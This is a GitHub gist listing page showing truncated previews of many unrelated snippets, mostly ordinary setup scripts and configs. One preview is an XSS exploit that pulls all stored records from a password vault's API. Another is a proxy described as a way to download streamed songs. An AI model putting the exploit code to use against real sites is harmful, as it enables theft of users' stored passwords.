Skip to content

Instantly share code, notes, and snippets.

View obihann's full-sized avatar

Jeffrey Hann obihann

View GitHub Profile
@keifgwinn
keifgwinn / togglelitra.sh
Created July 3, 2023 20:04
Toggle Litra
#!/bin/bash
# Use 046D/C900 for older models
model="046D/C901"
# Change to your own path
hidapitester="/usr/local/bin/hidapitester"
beam="046D/C901"
glow="046D/C900"
if [[ ! -f ~/litratoggle ]]; then
@antonmry
antonmry / litra-auto-on.plist
Last active May 29, 2024 03:14
This is script to auto on/off a Logitech light when the webcam is on/off in Mac. It requires hidapitester
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>litra-auto-on</string>
<key>ProgramArguments</key>
<array><string>/Library/LaunchDaemons/litra-auto-on.sh</string></array>
<key>RunAtLoad</key>
<true/>
@shawarkhanethicalhacker
shawarkhanethicalhacker / password_vault_exploit.js
Created August 20, 2018 07:26
XSS Exploit code for retrieving passwords stored in a Password Vault
//Exploit Code by Shawar Khan
var data_chunks = '';
// Capturing Records from API
fetch('https://redacted.com/api/v3/records/all').then((resp) => resp.text()).then(function(data) {
// Holds the records in as String
var allrecords = data;
// converting response to JSON
@nrollr
nrollr / Commands.sh
Last active January 10, 2023 11:55
Install PHP and NGINX on Amazon Linux AMI
## Install NGINX
## when installing on Amazon Linux AMI, use:
$ sudo yum install nginx -y
## when installing on Amazon Linux 2 AMI, use
$ sudo amazon-linux-extras install nginx1.12 -y
## Install PHP and PHP-FPM
# for PHP version 7.1 use php71 and php71-fpm instead
$ sudo yum install php -y
$ sudo yum install php-fpm -y
@eyecatchup
eyecatchup / hammerhead-from-lrx21o-to-lrx22c.md
Last active November 1, 2023 08:35
A step-by-step guide how to manually flash the Android 5.0.1 (LRX22C) OTA-Update on a Nexus 5 with modified system (custom recovery/kernel, rooted, modified framework etc.)..

Update: For those interested, here's the version for updating from Android 5.1.0 (LMY47D/LMY47I) to Android 5.1.1 (LMY48B):
https://gist.github.com/eyecatchup/dab5cf7977008e504213


  UPDATE `NEXUS 5` 
     SET `VERSION`='5.0.1', `BUILD`='LRX22C', `RECOVERY`='CUSTOM', `ROOTED`=1 
   WHERE `VERSION`='5.0' && `BUILD`='LRX21O' && `RECOVERY`='CUSTOM' && `ROOTED`=1 
         && `WANNA_KEEP_USERDATA`=1;
@pgilad
pgilad / Instructions.md
Last active March 31, 2024 22:30
Git commit-msg hook to validate for jira issue or the word merge

Instructions

  • copy the file commit-msg to .git/hooks/commit-msg
  • make sure your delete the sample file .git/hooks/commit-msg.sample
  • Make commit msg executable. chmod +x .git/hooks/commit-msg
  • Edit commit-msg to better fit your development branch, commit regex and error message
  • Profit $$

Shell example

<IfModule mod_ssl.c>
<VirtualHost _default_:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www
<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>
<Directory /var/www/>
@okunishinishi
okunishinishi / Remove all git tags
Created March 8, 2014 03:12
Delete all git remote tags
#Delete local tags.
git tag -l | xargs git tag -d
#Fetch remote tags.
git fetch
#Delete remote tags.
git tag -l | xargs -n 1 git push --delete origin
#Delete local tasg.
git tag -l | xargs git tag -d
@jewel-andraia
jewel-andraia / README.md
Last active December 11, 2021 06:24
@gavin19's RES settings backup script

@gavin19 said...:

I [gavin19] also wrote this very simple Python script that can take a Chrome chrome-extension_kbm..localstorage file as input and output to the Firefox store.json type. Just copy the old Chrome settings file to the same directory as the script and rename to res.db. Running python chrToFF.py should output a valid Firefox-worthy replica.

@mikerudolph
mikerudolph / Rdio Proxy
Last active March 11, 2016 18:19
I wanted to see how easy it was to download Rdio songs as you listen to them, turns out its just as easy as I though.
var http = require('http'),
url = require('url'),
fs = require('fs');
var port = 9000;
var httpServer = http.createServer(function(request, response) {
var parsedUrl = url.parse(request.url);
var requestData;
var requestOpts = {